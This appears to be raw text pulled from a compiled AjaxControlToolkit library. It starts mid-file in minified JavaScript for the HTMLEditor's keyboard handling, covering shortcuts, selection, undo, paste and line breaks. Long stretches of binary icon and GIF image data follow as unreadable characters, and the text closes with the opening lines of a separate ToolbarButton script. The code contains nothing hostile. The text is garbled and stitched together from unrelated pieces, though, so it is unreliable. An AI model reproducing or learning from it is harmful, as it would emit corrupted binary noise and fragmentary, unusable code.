t=h.tagName.toUpperCase();if(!AjaxControlToolkit.HTMLEditor.canBeInsideP(h)&&t!=x){if(t=="TD")while(t!="TABLE"){h=h.parentNode;t=h.tagName.toUpperCase()}else if(t==M)while(t!="OL"&&t!="UL"){h=h.parentNode;t=h.tagName.toUpperCase()}V=h;break}h=h.parentNode}if(V!=e){var l=a._getSelection(),d=a._createRange(l),s=a._doc.createTextNode(k);V.parentNode.insertBefore(s,V);if(AjaxControlToolkit.HTMLEditor.isIE){var ab=a._createRange(l),lb=a._createRange(l),bb=a._doc.createElement(N),U=a._doc.createElement(N);s.parentNode.insertBefore(bb,s);if(s.nextSibling)s.parentNode.insertBefore(U,s.nextSibling);else s.parentNode.appendChild(U);try{ab.moveToElementText(bb);lb.moveToElementText(U);ab.setEndPoint("EndToEnd",lb);ab.select()}catch(Lb){}s.parentNode.removeChild(bb);s.parentNode.removeChild(U)}else{a._removeAllRanges(l);d.setStart(s,0);d.setEnd(s,0);a._selectRange(l,d)}}}else if(AjaxControlToolkit.HTMLEditor.isIE&&b.keyCode>=33&&b.keyCode<=40&&!b.shiftKey){var yb=b.keyCode==Sys.UI.Key.pageDown||b.keyCode==Sys.UI.Key.end||b.keyCode==Sys.UI.Key.right||b.keyCode==Sys.UI.Key.down;setTimeout(function(){var f=a._getSelection(),d=a._createRange(f);if(f.type.toLowerCase()==C){var b=d.item(0);if(!b.contentEditable||b.contentEditable=="false"){d.remove(0);f.empty();d=a._createRange(f);var c=a._doc.createElement("SPAN");c.appendChild(a._doc.createTextNode(k));if(yb)if(b.nextSibling==e)b.parentNode.appendChild(c);else b.parentNode.insertBefore(c,b.nextSibling);else b.parentNode.insertBefore(c,b);d.moveToElementText(c);d.select();setTimeout(function(){a.focusEditor();c.parentNode.removeChild(c)},0)}}},0)}else if((F&&!AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isSafari&&b.type==j)&&b.ctrlKey&&!b.altKey){a._a_prize=c;var l=e,d=e,p=String.fromCharCode(AjaxControlToolkit.HTMLEditor.isIE||AjaxControlToolkit.HTMLEditor.isOpera||AjaxControlToolkit.HTMLEditor.isSafari?b.keyCode:b.charCode).toLowerCase(),u=e,K=e;if((AjaxControlToolkit.HTMLEditor.isIE||AjaxControlToolkit.HTMLEditor.isSafari)&&b.keyCode==17)return c;else if(!AjaxControlToolkit.HTMLEditor.isIE&&b.keyCode==Sys.UI.Key.end&&!b.shiftKey)a._setToEnd();else if(b.keyCode==46&&f.isShadowed()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}else if(b.keyCode==46||b.keyCode==Sys.UI.Key.backspace)(AjaxControlToolkit.HTMLEditor.isIE&&b.type==j||!AjaxControlToolkit.HTMLEditor.isIE&&b.type==B)&&f._saveContent();else switch(p){case "a":if(!AjaxControlToolkit.HTMLEditor.isIE){l=f._getSelection();f._removeAllRanges(l);d=f._createRange();d.selectNodeContents(f._doc.body);f._selectRange(l,d);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}else a._a_prize=m;break;case "z":f.undo();AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;break;case "p":if(!AjaxControlToolkit.HTMLEditor.isIE){setTimeout(function(){a._contextMenuCallP()},0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}break;case "y":f.redo();AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;break;case "x":if(f.isShadowed()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}f._saveContent();if(AjaxControlToolkit.HTMLEditor.isIE)if(b.type==j){a.openWait();setTimeout(function(){a._copyCut(p,c);a.closeWait()},0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}break;case "c":if(f.isShadowed()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}if(AjaxControlToolkit.HTMLEditor.isIE)if(b.type==j){a.openWait();setTimeout(function(){a._copyCut(p,c);a.closeWait();setTimeout(function(){a._ifShadow()},0)},0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}break;case "v":if(f.isShadowed()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}if(AjaxControlToolkit.HTMLEditor.isIE){f._saveContent();return m}f._commonPaste(b);break;case "b":f._execCommand("bold",c,K);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;case "i":f._execCommand("italic",c,K);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;case "u":f._execCommand("underline",c,K);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;case "s":f._execCommand("strikethrough",c,K);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;case "l":u="justifyleft";break;case "e":u="justifycenter";break;case "r":u="justifyright";break;case "j":u="justifyfull";break;case "q":alert(f._doc.body.innerHTML);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;break;case "0":var Gb="Your browser:\n\n"+navigator.userAgent;alert(Gb);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c;break;case "9":if(!AjaxControlToolkit.HTMLEditor.isIE){var l=a._getSelection(),d=a._createRange(l),g=d.startContainer,A=d.endContainer,y=k;y+="startContainer: "+(g.nodeType==1?g.tagName:O)+D;y+="endContainer  : "+(A.nodeType==1?A.tagName:O)+D;if(g==A){y+="startOffset: "+d.startOffset+D;y+="endOffset  : "+d.endOffset+D;if(g.nodeType==1){g=g.childNodes.item(d.startOffset);if(g&&g.nodeType){y+="startOffset node: "+(g.nodeType==1?g.tagName:O)+D;if(d.startOffset!=d.endOffset){g=A.childNodes.item(d.endOffset);if(g&&g.nodeType)y+="endOffset node: "+(g.nodeType==1?g.tagName:O)+D}}else y+=g}}alert(y)}else{var l=a._getSelection(),d=a._createRange(l);alert("boundingLeft: "+d.boundingLeft+" boundingTop: "+d.boundingTop+D+"boundingWidth: "+d.boundingWidth+" boundingHeight: "+d.boundingHeight)}AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}if(u){f._execCommand(u,c,K);if(u=="formatblock"&&!AjaxControlToolkit.HTMLEditor.isIE){f._saveContent();f._undo(c)}AjaxControlToolkit.HTMLEditor._stopEvent(b);(u=="delete"||u=="paste")&&f._clearP()}}else if(F||(AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera)&&b.type==j){if(AjaxControlToolkit.HTMLEditor.isIE&&f._tryForward){var d=f._createRange(f._getSelection());d.select();f._tryForward=c}var p=String.fromCharCode(AjaxControlToolkit.HTMLEditor.isIE?b.keyCode:b.charCode).toLowerCase();if(a._a_prize){a._a_prize=c;function Bb(){var c=a._createRange(a._getSelection()),b=c.parentElement();if(b&&b.nodeType==1&&b.tagName.toUpperCase()==x){while(b.firstChild)b.parentNode.insertBefore(b.firstChild,b);b.parentNode.removeChild(b)}}setTimeout(Bb,0)}if(f.isShadowed()){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}switch(b.keyCode){case Sys.UI.Key.tab:if((AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera)&&b.type!=j)break;if(!f._editPanel.get_suppressTabInDesignMode()){!f.isControl()&&f.insertHTML("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;");AjaxControlToolkit.HTMLEditor._stopEvent(b)}else{AjaxControlToolkit.HTMLEditor.isSafari&&AjaxControlToolkit.HTMLEditor._stopEvent(b);AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel=e;return m}break;case 46:case Sys.UI.Key.backspace:if((AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera)&&b.type!=j)break;((AjaxControlToolkit.HTMLEditor.isIE||AjaxControlToolkit.HTMLEditor.isSafari)&&b.type==j||!AjaxControlToolkit.HTMLEditor.isIE&&b.type==B)&&f._saveContent();if(!AjaxControlToolkit.HTMLEditor.isIE){var d=f._createRange(f._getSelection()),g=d.startContainer,A=d.endContainer;if(b.type==B)if(AjaxControlToolkit.HTMLEditor.contentEditable(g)!=e||AjaxControlToolkit.HTMLEditor.contentEditable(A)!=e){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}if(g==A&&g.nodeType==1&&g.tagName.toUpperCase()=="TD"&&d.startOffset==d.startOffset&&g.childNodes.item(d.startOffset)&&g.childNodes.item(d.startOffset).tagName&&g.childNodes.item(d.startOffset).tagName.toUpperCase()==P){var tb=g.childNodes.item(d.startOffset),qb=0,nb=0,z;z=tb.previousSibling;while(z){qb++;z=z.previousSibling}z=tb.nextSibling;while(z){nb++;z=z.nextSibling}if(b.keyCode==46&&nb==0||b.keyCode==Sys.UI.Key.backspace&&qb==0){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}else if(b.keyCode==46&&g.firstChild==g.lastChild&&g.firstChild.nodeType==1){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}if(g==A&&g.nodeType==3&&d.startOffset==d.endOffset&&!AjaxControlToolkit.HTMLEditor.isOpera){var Fb=g.data+k;if(b.keyCode==46)if(d.startOffset==Fb.length&&!(g.nextSibling&&g.nextSibling.nodeType==3)){if(g.nextSibling){g.parentNode.removeChild(g.nextSibling);a.onContentChanged()}AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}if(b.keyCode==Sys.UI.Key.backspace)if(d.startOffset==0&&!(g.previousSibling&&g.previousSibling.nodeType==3)){if(g.previousSibling){g.parentNode.removeChild(g.previousSibling);a.onContentChanged()}AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}if(b.keyCode==Sys.UI.Key.backspace&&g.nodeType==1&&g==A&&d.startOffset==d.endOffset){var v=g.childNodes.item(d.startOffset);if(v!=e&&v.nodeType==1&&v.tagName.toUpperCase()==P){v=v.previousSibling;if(v!=e&&v.nodeType!=3){v.parentNode.removeChild(v);a.onContentChanged();AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}}setTimeout(function(){var j=a._getSelection(),b=a._createRange(j),h=b.startContainer,l=b.endContainer;if(AjaxControlToolkit.HTMLEditor.contentEditable(h)!=e||AjaxControlToolkit.HTMLEditor.contentEditable(l)!=e){a._undo(c);return}if(AjaxControlToolkit.HTMLEditor.isOpera&&h==l&&h.nodeType==3&&h.data.length==0)h.parentNode.removeChild(h);else if(h==l&&h.nodeType==1&&AjaxControlToolkit.HTMLEditor.isStyleTag(h.tagName)&&b.startOffset==b.endOffset&&h.childNodes.length==0){while(h.parentNode.nodeType==1&&AjaxControlToolkit.HTMLEditor.isStyleTag(h.parentNode.tagName)&&h.parentNode.childNodes.length==1)h=h.parentNode;var d=h.nextSibling,f=h.previousSibling,i=h.parentNode;i.removeChild(h);a.onContentChanged();if(d==e&&f==e){b.setStart(i,0);b.setEnd(i,0)}else if(d!=e&&f!=e)if(d.nodeType==3&&f.nodeType==3){var g=(k+f.data+k).length;f.appendData(d.data);i.removeChild(d);b.setStart(f,g);b.setEnd(f,g)}else if(f.nodeType==3){var g=(k+f.data+k).length;b.setStart(f,g);b.setEnd(f,g)}else if(d.nodeType==3){b.setStart(d,0);b.setEnd(d,0)}else if(d.childNodes.length>0){b.setStart(d,0);b.setEnd(d,0)}else{var g=AjaxControlToolkit.HTMLEditor.__getIndex(d);b.setStart(i,g);b.setEnd(i,g)}else if(f!=e)if(f.nodeType==3){var g=(k+f.data+k).length;b.setStart(f,g);b.setEnd(f,g)}else{var g=f.childNodes.length;if(g>0){b.setStart(f,g);b.setEnd(f,g)}else{g=AjaxControlToolkit.HTMLEditor.__getIndex(f);b.setStart(i,g);b.setEnd(i,g)}}else if(d!=e)if(d.nodeType==3){b.setStart(d,0);b.setEnd(d,0)}else{var g=d.childNodes.length;if(g>0){b.setStart(d,g);b.setEnd(d,g)}else{g=AjaxControlToolkit.HTMLEditor.__getIndex(d);b.setStart(i,g);b.setEnd(i,g)}}a._removeAllRanges(j);a._selectRange(j,b)}},0)}else{var l=a._getSelection();if(l.type.toLowerCase()==C){if(b.keyCode==8){setTimeout(function(){a._ifShadow();a.onContentChanged()},0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return}var r=a._createRange(l),W=r.item(0);if(W.tagName.toUpperCase()==Q){W.src=k;W.parentNode.removeChild(W);while(r.length>0)r.remove(0);try{r.collapse(c)}catch(Lb){}AjaxControlToolkit.HTMLEditor._stopEvent(b);a._saveContent();setTimeout(function(){a._undo(c);a.onContentChanged()},0);return}}var fb=a._doc.body.getElementsByTagName(Q).length;if(fb>0){var mb=a._body.ownerDocument.createElement("div");a._body.appendChild(mb);var Jb=b.keyCode;setTimeout(function(){a._body.removeChild(mb);var b=a._doc.body.getElementsByTagName(Q);if(fb!=b.length){a._saveContent();setTimeout(function(){a._undo(c);a.onContentChanged()},0)}},0)}setTimeout(function(){a._clearP()},0)}break;case Sys.UI.Key.enter:if((AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera)&&b.type==j)break;(!AjaxControlToolkit.HTMLEditor.isIE&&b.type==B||AjaxControlToolkit.HTMLEditor.isIE&&b.type==j)&&f._saveContent();if(AjaxControlToolkit.HTMLEditor.isIE&&b.type==j){var l=a._getSelection();if(l.type.toLowerCase()==C)break;var r=a._createRange(l);if(!b.shiftKey){var i=r.parentElement();if(i.tagName.toUpperCase()=="TEXTAREA")break;while(i&&i.tagName&&i.tagName.toUpperCase()!=w&&AjaxControlToolkit.HTMLEditor.isStyleTag(i.tagName))i=i.parentNode;if(i&&i.tagName){var t=i.tagName.toUpperCase();if(t==x||t==M){if(t==M){function Hb(){r=a._createRange(a._getSelection());var b=r.parentElement();while(b&&b.tagName&&b.tagName.toUpperCase()!=w&&AjaxControlToolkit.HTMLEditor.isStyleTag(b.tagName))b=b.parentNode;if(b&&b.nodeType==1&&b.tagName.toUpperCase()==x){var d=a._doc.createElement(N),f=a._doc.createTextNode(" "),c=b;while(c.firstChild!=e&&c.firstChild.nodeType==1)c=c.firstChild;if(c.nodeType==1){c.appendChild(f);c.appendChild(d);while(b.firstChild)b.parentNode.insertBefore(b.firstChild,b)}else{b.parentNode.insertBefore(f,b);b.parentNode.insertBefore(d,b)}b.parentNode.removeChild(b);r.moveToElementText(d);r.select();d.parentNode.removeChild(d);a.onContentChanged()}}setTimeout(Hb,0)}break}}try{var db=AjaxControlToolkit.HTMLEditor.smartClassName+"_middle_add",n=e,I="<span id="+db+"></span>";function wb(){var c=a._getSelection(),b=a._createRange(c);if(n!=e){n.innerHTML="&nbsp;";b.moveToElementText(n);b.select();n.parentNode.insertBefore(n.firstChild,n);n.parentNode.removeChild(n);a.onContentChanged()}}r.pasteHTML(I);var S=c;n=a._doc.getElementById(db);if(n!=e){var E=n.nextSibling,J=n.parentNode;while(E==e&&J!=e&&AjaxControlToolkit.HTMLEditor.isStyleTag(J.tagName)){E=J.nextSibling;J=J.parentNode}if(E!=e&&!AjaxControlToolkit.HTMLEditor.isInlineElement(E)&&E.tagName!=e&&typeof E.tagName!=H){var X=E.tagName.toUpperCase();if(X!=P&&X!="UL"&&X!="OL"&&X!=x)S=m}n.parentNode.removeChild(n)}r.pasteHTML("<br/>"+(S?I:k));if(S)n=a._doc.getElementById(db);r.select();if(S){setTimeout(wb,0);AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}}catch(Lb){}}else break;AjaxControlToolkit.HTMLEditor._stopEvent(b)}else if(!b.shiftKey&&(AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera)){var i=AjaxControlToolkit.HTMLEditor.getSelParent(f);if(i.nodeType==3)i=i.parentNode;while(i&&i.tagName&&i.tagName.toUpperCase()!=w&&AjaxControlToolkit.HTMLEditor.isStyleTag(i.tagName))i=i.parentNode;if(i&&i.tagName&&(i.tagName.toUpperCase()==x||i.tagName.toUpperCase()==M))break;var I="<br />";if(AjaxControlToolkit.HTMLEditor.isOpera){var l=a._getSelection(),d=a._createRange(l);if(d.startContainer==d.endContainer)if(d.startContainer.nodeType==1){var kb=d.startContainer.childNodes.item(d.startOffset);if(kb.nodeType==1&&kb.tagName.toUpperCase()==P)I+="<br />"}else if(d.startContainer.nodeType==3&&d.startOffset==d.endOffset&&d.startContainer.data.length==d.endOffset&&!(d.startContainer.nextSibling&&d.startContainer.nextSibling.nodeType==3))I+="&nbsp;"}f.insertHTML(I);AjaxControlToolkit.HTMLEditor._stopEvent(b);if(AjaxControlToolkit.HTMLEditor.isOpera){var l=a._getSelection(),d=a._createRange(l);if(d.startContainer==d.endContainer&&d.startContainer.nodeType==3&&d.startOffset==d.endOffset&&d.startContainer.data.length==0){var rb=d.startContainer.previousSibling;d.startContainer.parentNode.removeChild(d.startContainer);a._removeAllRanges(l);d=a._createRange();d.setStart(rb,0);d.setEnd(rb,1);a._selectRange(l,d)}}a.onContentChanged()}else if(AjaxControlToolkit.HTMLEditor.isSafari){f.insertHTML("<br/>");AjaxControlToolkit.HTMLEditor._stopEvent(b);a.onContentChanged()}}}else a._a_prize=c;if(AjaxControlToolkit.HTMLEditor.isIE&&b.type==B&&!b.ctrlKey){var p=b.keyCode,sb=a._getSelection(),T=a._createRange(sb);if(T.text.length>0){var L=String.fromCharCode(p),pb=AjaxControlToolkit.HTMLEditor.capLock(b),Eb=b.shiftKey&&!pb||pb;if(!Eb)L=L.toLowerCase();var q=AjaxControlToolkit.HTMLEditor.smartClassName+ib,o=a._doc.getElementById(q);if(o!=e){L=R+q+Z+L+R+q+q+Z;o.parentNode.removeChild(o)}T.pasteHTML(L);if(o!=e){a.trickWithStyles(q);o=a._doc.getElementById(q+q);o.parentNode.removeChild(o)}AjaxControlToolkit.HTMLEditor._stopEvent(b);a.onContentChanged();return c}}if(b.type=="mouseup"||b.type==Y||b.type==j){var xb=m;if(b.type==j&&!b.ctrlKey){var p=b.keyCode;if(p>=48&&p<=90||p==32||p==13||p>=186&&p<=222||p>=96&&p<=111)if(a._StyleForTyping!=e){a.n_arr=[];for(var cb=0;cb<a._StyleForTyping.length;cb++)a.n_arr.push(a._StyleForTyping[cb]);var q=AjaxControlToolkit.HTMLEditor.smartClassName+ib,jb=m;if(!AjaxControlToolkit.HTMLEditor.isIE)a.insertHTML(R+q+Z);else{a.insertHTML(R+q+"'>&nbsp;</span>");var o=a._doc.getElementById(q);if(o&&o.nextSibling&&o.nextSibling.nodeType==3){jb=c;var sb=a._getSelection(),T=a._createRange(sb);T.moveToElementText(a._doc.getElementById(q));T.select()}else o&&o.removeChild(o.firstChild)}jb&&setTimeout(function(){a.trickWithStyles(q);a.onContentChanged()},0)}}if(xb||!AjaxControlToolkit.HTMLEditor.isIE)if(!a._updated_now){if(a._updateTimer){clearTimeout(a._updateTimer);a._updateTimer=e}a._updateTimerLimit=3;function vb(){if(a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel)try{if(AjaxControlToolkit.HTMLEditor.isIE){try{var b=a._doc.selection}catch(d){return c}if(a._getSelection().type=="None"&&a._doc.queryCommandValue("backcolor")==0&&a._doc.queryCommandValue("forecolor")==0){a._updateTimerLimit--;if(a._updateTimerLimit>0){a._updateTimer=setTimeout(vb,100);return}}}a._updated_now=m;a._editPanel.updateToolbar();a._updated_now=c;a._updateTimer=e;!AjaxControlToolkit.HTMLEditor.isIE&&a.focusEditor()}catch(d){}}a._updateTimer=setTimeout(vb,300)}}if(!(!AjaxControlToolkit.HTMLEditor.isIE&&(b.type==j||b.type=="keyup")||AjaxControlToolkit.HTMLEditor.isIE&&(b.type==j||b.type=="keyup")&&(b.keyCode==16||b.keyCode==20)))a._StyleForTyping=e;AjaxControlToolkit.HTMLEditor.isSafari&&setTimeout(function(){a._createRange(a._getSelection())},0);!AjaxControlToolkit.HTMLEditor.isIE&&setTimeout(function(){if(a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel){var c=a._getSelection(),b=a._createRange(c);if(b.startContainer.nodeType!=3&&b.startContainer==b.endContainer)if(b.startOffset==b.endOffset)if(b.startContainer.childNodes.item(b.startOffset))if(b.startContainer.childNodes.item(b.startOffset).nodeType==3){var d=b.startContainer.childNodes.item(b.startOffset);c.collapseToEnd();a._removeAllRanges(c);c=a._getSelection();b=a._createRange(c);b.setStart(d,0);b.setEnd(d,0);a._selectRange(c,b)}}},0);if(!AjaxControlToolkit.HTMLEditor.isIE){var l=a._getSelection(),d=a._createRange(l);a._saved_startContainer=d.startContainer;a._saved_startOffset=d.startOffset}setTimeout(function(){try{a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel&&a._ifShadow()}catch(b){}},0);if(b.type==j)if(a._AfterOnContentChanged==e||typeof a._AfterOnContentChanged==H||!a._AfterOnContentChanged){a._AfterOnContentChanged=m;setTimeout(function(){if(a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel){a.onContentChanged();a._AfterOnContentChanged=c}},0)}return m}catch(Lb){AjaxControlToolkit.HTMLEditor._stopEvent(b);return c}};6   �& h�( @ G��G��G��S��*R��hO��mN��:L��G��	G��F��9F��^F��mF��mF��mF��vF��mF��!������������������������������������V��}W��U��R���O��aH��G�ӄF���F��D��D��B��B��B��F��hY�׆]��^��Y��Q���P�ֆM��J��lI���F��D��D��D��D��C���D���F��O[��g^��c��a��Z��R���O��HK���J��G��F��D��D��D��E�ШG����������������������������������^��P`��g��d��`��Y��R��P�԰O���O���K��G��F��F��F���F�ѨF��<`��%]�վa���c���b��a���Y���V���U��Q��I��F��F��G��G���b��`��4^�؜]���]���a���b���_��[��P��F��F��F��I��I�������������������������������������������������a�� _��y]�ئ]���c��d��`��W��H��F��F��K��J���I��yI��zH��iG�������qf��n]���e���i��f��`��V��J��H��O��O��L��J��H���H��mG��
�����������������������������������������������������������������[��n��o��q��q��e��[��T��V��U��Q��N��K��H���H��՘�������������������������������������������������p��t��{���������w��e��_��]��W��R��R��P��L��H�������������������������������������������������������w���������������m��c��^��V���Q�ӼR���P��L���J�Ѳ��������������������������������������������p��������v����������������r���e���_��Z����������������������������������������������������p��z�������������������w���h���d��^���������������������������������������������������������y��i��k��g������y���m���g��_�����������������������������������������������������}������|��q��������p������|��t��j��`�������������������������������������������������}��|��t���������������f��}������~��p��_������������������������������������������������������������������������f��r������������j��c��������������������������������������������������������������������������|����������p��d���d�آ������������������������������������������������������������������������h��f��e��d��c��f���i��>d�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������x�x�����0������������������������(  ���������������[��&������#q��&���&���&���������&���h���E���D��&���������������������X���o��_���\���&���D��&������8��xl��l��d��+��5�׀&��������������������������������d��q��D��E��^��&���&��������������������������������d�������n��[��U��[��}�����������������p���������p����[��[��[��h���]��[������������������g��g�����g�����[��[��h�������������������������k�������g��[��b��h�������������������������������g��[��r������������������������������������m���������������������������������������������������������	������������������������������������������������������������������������������������������������������������������������������������������������������������������������a��������������������������������� ��y6   �& h�( @ �Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��������������������������������������������������Q����$�Q�������������������������������������������������Q������$�Q�����������!�!����������������������������������Q��������������$�Q����������!�!�!�!�!�!������������������������������Q��������$�Q�������!�!�!�!�!�!�!�!�!�!��������������������������Q������$�Q�������!�!�!�!����!�!�!�!�!�!����������������������Q����Q�������!�!����������!�!�!�!�!�!������������������Q����Q����������������������!�!�!�!�!�!��������������Q����Q�������������������������!�!�!�!�!�!����������Q��Q����������������������������!�!�!�!����������Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q�������������������������������!�!�������Q��Q������������������������������������������Q���������������������������������������Q��Q���������������������������������������Q����������������������������������������Q��Q���������������������������������������Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q�������������������������������������������������Q��Q������������������������������������������������Q����Q�����������������������������������������������Q����Q����������������������������������������������Q����Q���������������������������������������������Q��$�����Q��������������������������������������������Q��$�������Q��������������������������������������������Q��$�������������Q������������������������������������������Q��$�����Q�����������������������������������������Q��$���Q����������������������������������������Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q��Q���������������������������������������?��?��?��?��9��1�� ?�1��9��?��?�������������(  ���$�Q��Q��Q��Q��Q��Q��Q��Q��������$�Q��������������������Q������$�Q����֏���R�S����������Q����Q������b�c���J�K���Q����Q��������������m�m��Q��Q�������������������Q��Q��Q��Q��Q��Q��Q��Q�������������������Q��Q����������������Q��Q��Q��Q��Q��Q��Q��Q��Q��������������������Q��Q�������������������Q����Q������������������Q����Q�������������������Q��$�����Q�������������������Q��$�������Q��Q��Q��Q��Q��Q��Q��Q��$����������������{��{$�K��O����6   �& h�( @ x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�{bN�����������������������������������������������������������������������{bN�����������������������������������������������������������������������������������{bN����������������������������������������������������������������������������������{bN��������������������������������������������������������������������������������������{bN��������������������������qC��ô�����������������������������������������������������{bN��������������������ţ���x7��o1�ҽ�����������������������������������������������������{bN�������������������ǃE�ݨu��yD�ѽ��������������������������������������������������������{bN���~�����ɻ�͸��ÅP�۩z�廑��n5������������������������������������������������������������{bN�T$e*O�e>��zR��m<��j6���^�ཙ�㺑��wI��a8�§������������������������������������������������������{bN�w9?�A��Yިk6��~M���[���h�ά���ǡ���›w��vF��a+��^.��{Z�������������������������������������{<	h�`%ظ�W�Ýy�ͪ��ҳ��޾���ͬ��Ա��޸��ٳ�⽛�Э��Ğx���T��]!�v5�3�P�t?�|�Ҷ���Ǭ��ѳ��׶��ٸ�߬���wM���Ǡ��۶��Ϊ��ġ�Ե��Ġz��u?�:�N 
-�KPɍ]�ç������ֹ��߿�������ճ��J&��%��G��kD�����߻��ش��Ѯ����ʪ���yC�|8�W%FɅU�ʩ���ű��ۿ��������������ٹ��L,�I�]	��e@�����߾��޼��޻��ղ��Ħ�ͬ���m5�p0nλ�>λ��p:]͛u��Ų����������������������ἠ��t^���k��Ȩ�������������߾��׷��ƫ�ǚm��R�í��λ�ґc�ά������������������������������ʫ��в�����������������������׼�Բ���l6�q3cަ���Ƕ����������������������������ƁZ�ˍf�������������������������ʰ���[��C�㳖��������������������������������~[��@���������������������������Ξu��R�㵛����������������������������߽���2��l=��շ����������������������ҥ|��V�庣�������������������������dF����c2�ܯ�������������������Ѣw��U�绤��̽���������������˷��W������ǧ��t��"��_<������������������đc��Nx汔o�ʺ����������������zc�|��@�����Ƶ�x ����L-��������������ũ��m6�y<	8ਃ.辬�����������������o�c��\<����Ť��q�v��W;�������������֥|��B�Y(ߦ�꽧��IJ�����������������������M5��7�ʐq��3�T�=!��ȷ�������������������U�_("ᧁ纡��ƶ����������������������ԭ����c���k�ƨ���������������������Ƭ��u?�{<	=b+�~ৃ,꾨��ų������������������������������������������������纘��wDȓT!<�Bᦂ꾧	距�淝��˻�������������������������������̵�彟�מt�l>}�\-�W$踝綘&峕d㱓�߮��ڧ��۫��ܬ��ܭ��߮��᱔�ۢzֽ�Tr�c;���������������������������������������?�����(  x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F�x^F������������������������������������x^F�������������������������������������������x^F��������������������������������������������x^F�λ���������yK�Ǯ�����������������������������x^F�ɳ�DZ�|��}Y�ߥi��sQ�����������������������������x^F��?
n�U.관Q��ț����tO��Z9�����������������������������KYŘs��������nR�������Ř��]5�ư��λ���\���������������ἑ�o0
�ɚv����������I:�����������`,�Ƙu���������F'�ݱ�����������u9�ʜz�������k]����c��h_��������z>�Т�Tͣ������v��������������l=�b$ᧃУ�pХ��֯��ٻ��۽��ө����hֆFɞ|ʞ}'ʟ~(������������?��?��?��?��?7�1����GIF89a�����.a�9j�Ev�[��;t�F}�L��N�����������C~�K������N��s�ꃤ�r����������������������������������������R��������������������������������ޛ�������ѡ�����������������������������������������������������������������������������������������Q��w��w��u��{�鐼�������������������[��u�냱ㆮۚ������������ν������)^�a��b��V�����냪Ҟ���������cv�����������j�����������삼������������������������������������������ѵ��������!��,�q	H����9v��Ç
b�ŋ3^H$	' �<�@2�ɐ�4��a�8�!�!���8[
�`�@{:J�b��K
<lY�T��a@�T'� -�V��� ���_Z�R�O�Js2�3*�*Tk��;W�1'����>�>y´b��Ç�@��Dxq��H̓�h�,P��Q0!�)Q�*@`��k�Y��QJS�|f�j�
�of̐#��0h��T��!C�z�~nG
4˜��Ǥ@�L��2����y�!����q��2���}&�]bhJ�:q�L�'�!�t��RTac�W�@A�T�a���g��,!�LP����`�!�s^��-A_�!�W#����*��A�E#�f“P�VB�`d�;GIF89a��������������������������������������������������333���!�,��$�di����lۊ�+��,��<Ԫ�烟�5�#�2\��h�h�H�M�Ӛ��+.3@.�0�Z"hKθ�D��A ���m��!0y{p?g0��|}g�0�>q^o�0
��
�}�0���f�0
���?�0	�����"���'��!;�GIF89a����:����������������������������������������������������������������������������������������������������������������������������)^����!�?,���pH,�
��l:�M�GT2Y���U8B�Z�p�'.��'V��n�}�p��j�|���kB-8�>�>���B16	::��}}�B9;;�;�z>����<����B/		��
���B
�>B!""!�B�}�yBS&)�/��B �+}y1^�X��	$�|01��j"0#�+�Rb4ظ�#G7lԠQ���0���A�d�B(:�#J�qA]
�&� g!GG�F
;fGIF89a��.�1��8��8��<ݡS����Ǝ���!�,�p�(��v�^�_)���E;*GIF89a����,�	Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.initializeBase(this, [element]);
    
    this._onclick_option$delegate = Function.createDelegate(this, this._onclick_option);
